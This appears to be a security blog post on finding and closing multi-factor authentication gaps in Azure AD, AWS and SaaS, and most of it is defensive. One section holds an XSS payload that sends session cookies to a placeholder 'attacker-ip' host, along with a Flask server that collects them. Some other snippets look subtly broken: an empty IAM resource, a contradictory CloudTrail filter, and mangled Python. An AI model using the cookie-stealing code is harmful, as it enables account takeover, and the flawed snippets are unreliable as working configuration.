Listen to this Post
Introduction:
New York State’s Department of Financial Services has levied millions in fines against companies with exploited Multi-Factor Authentication (MFA) gaps, highlighting a critical enterprise-wide vulnerability. Modern IT environments, characterized by hundreds of SaaS applications and thousands of user identities, create sprawling attack surfaces where MFA enforcement often fails silently. This article provides a technical deep dive into identifying and hardening these MFA gaps across cloud, internal, and third-party systems.
Learning Objectives:
- Identify common MFA misconfigurations in major identity providers and SaaS applications.
- Implement auditing scripts and commands to discover MFA non-compliance and “ghost” logins.
- Harden your identity attack surface through enforced conditional access policies and session management.
You Should Know:
1. Auditing Azure AD for MFA Registration Gaps
Verified Microsoft Graph PowerShell commands to audit user MFA status.
Connect to Microsoft Graph API
Connect-MgGraph -Scopes "User.Read.All","UserAuthenticationMethod.Read.All"
Get all users and their MFA registration status
Get-MgUser -All | Select-Object DisplayName, UserPrincipalName, @{Name="MFA Registered"; Expression={ (Get-MgUserAuthenticationMethod -UserId $_.Id) -ne $null }}
Step-by-step guide: This script connects to the Microsoft Graph API and enumerates all users in the Azure AD tenant, checking their authentication method registrations. A user without any registered methods has not set up MFA. Run this periodically to identify non-compliant users and target them for enrollment campaigns or conditional access block policies.
2. Enforcing MFA via Azure AD Conditional Access
Verified Azure AD Conditional Access policy (JSON template).
{
"displayName": "BLOCK: MFA Non-Compliant Users - All Apps",
"state": "enabled",
"conditions": {
"applications": {
"includeApplications": ["All"]
},
"users": {
"includeUsers": ["All"],
"excludeUsers": ["BreakGlassAccount1", "AdminUser"]
},
"clientAppTypes": ["browser", "mobileAppsAndDesktopClients"]
},
"grantControls": {
"operator": "OR",
"builtInControls": ["block"]
}
}
Step-by-step guide: This JSON template represents a Conditional Access policy that blocks access to all applications for users who are not MFA-compliant. The `excludeUsers` parameter is critical for creating break-glass emergency accounts to avoid locking out all administrators. Deploy this policy in report-only mode initially to gauge impact.
- Scanning for Shadow SaaS with Command Line Curl and jq
Verified Bash command to query publicly exposed SaaS instances.
curl -s "https://api.shodan.io/shodan/host/search?key=YOUR_API_KEY&query=hostname:target-company.com" | jq '.matches[] | {ip_str, port, product, data}'
Step-by-step guide: This command uses the Shodan API to discover internet-facing services and applications associated with your domain that may not be centrally managed. The `jq` utility parses the JSON output to show IP addresses, ports, and service banners. Unrecognized services likely represent shadow IT where MFA is unenforced.
4. Hardening AWS IAM with MFA-Enforced CLI Policies
Verified AWS IAM Policy to enforce MFA for CLI actions.
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "BlockMostAccessUnlessSignedInWithMFA",
"Effect": "Deny",
"NotAction": [
"iam:CreateVirtualMFADevice",
"iam:EnableMFADevice",
"iam:ListMFADevices",
"iam:ListUsers",
"sts:GetSessionToken"
],
"Resource": "",
"Condition": {
"BoolIfExists": {"aws:MultiFactorAuthPresent": "false"}
}
}
]
}
Step-by-step guide: This IAM policy denies all actions except MFA device setup and initial session token generation unless the user authenticates with MFA. Attach this policy to groups requiring privileged access. Note that this does not replace requiring MFA for console login, which must be enabled separately.
5. Exploiting MFA Bypass via Session Cookie Theft
Verified Python script simulating session hijacking.
import requests
Attacker-controlled server to capture session cookies
def capture_cookie():
from flask import Flask, request
app = Flask(<strong>name</strong>)
@app.route('/')
def index():
cookie = request.args.get('session_cookie')
with open('captured_cookies.txt', 'a') as f:
f.write(cookie + '\n')
return 'OK'
app.run(host='0.0.0.0', port=80)
Simulated attack vector: XSS to exfiltrate session
malicious_js = """
<img src=x onerror="this.src='http://attacker-ip/?session_cookie='+document.cookie;">
"""
Step-by-step guide: This proof-of-concept demonstrates how stolen session cookies can bypass MFA after the initial authentication. Once a user completes MFA, their session cookie becomes the primary authentication token. Protecting against this requires implementing conditional access policies that check for device compliance and risky sign-ins, not just MFA at login.
6. Mitigating MFA Fatigue Attacks with Number Matching
Verified Microsoft Graph API call to configure authentication methods.
Update authentication methods policy to require number matching Update-MgPolicyAuthenticationMethodPolicy -RequireNumberMatching $true
Step-by-step guide: MFA fatigue attacks occur when attackers spam push notifications until a user accidentally approves one. Number matching requires the user to enter a number displayed on the sign-in screen into their authenticator app, preventing accidental approvals. This command enables this critical security feature across your tenant.
7. Detecting Ghost Logins with AWS CloudTrail Analytics
Verified AWS CLI command to query CloudTrail for console logins without MFA.
aws cloudtrail lookup-events --lookup-attributes AttributeKey=EventName,AttributeValue=ConsoleLogin --query 'Events[?Resources[?ResourceType=="AwsIamUser"] && !contains(ResponseElements.ConsoleLogin, "Success")]' --output table
Step-by-step guide: Ghost logins are accounts that appear dormant but may have active credentials. This command filters CloudTrail logs for console login events, helping identify accounts that successfully authenticated without MFA. Combine this with IAM credential reports to find users with password-enabled but MFA-disabled status.
What Undercode Say:
- Regulatory pressure is shifting MFA from a recommended practice to a mandatory control with severe financial penalties for non-compliance.
- The attack surface has moved beyond primary corporate systems to encompass hundreds of unmanaged SaaS applications and third-party integrations.
- MFA implementation is no longer a binary checkbox but requires continuous validation through in-line telemetry to account for configuration drift and emerging bypass techniques.
The NYDFS fines represent a watershed moment where regulators are explicitly punishing inadequate MFA enforcement, not just the resulting breaches. Organizations can no longer rely on self-reported compliance from business units or assume that initial MFA rollout equates to comprehensive coverage. The technical reality is that identity systems are dynamic—new applications are adopted, service accounts are created, and users revert to insecure behaviors. Continuous monitoring through APIs and security tools that validate actual MFA coverage across every login method is becoming the new standard of care. Failure to implement these technical controls will result in both security breaches and regulatory action.
Prediction:
Within two years, MFA bypass techniques will become the primary initial access vector for ransomware groups, surpassing phishing for credentials alone. This will drive adoption of phishing-resistant MFA (FIDO2/WebAuthn) and continuous authentication that analyzes user behavior throughout sessions, not just at login. Regulatory frameworks will expand beyond financial services to healthcare, energy, and critical infrastructure, making MFA gap assessment a standard component of cybersecurity insurance underwriting and audit requirements.
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Sean Raffetto – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
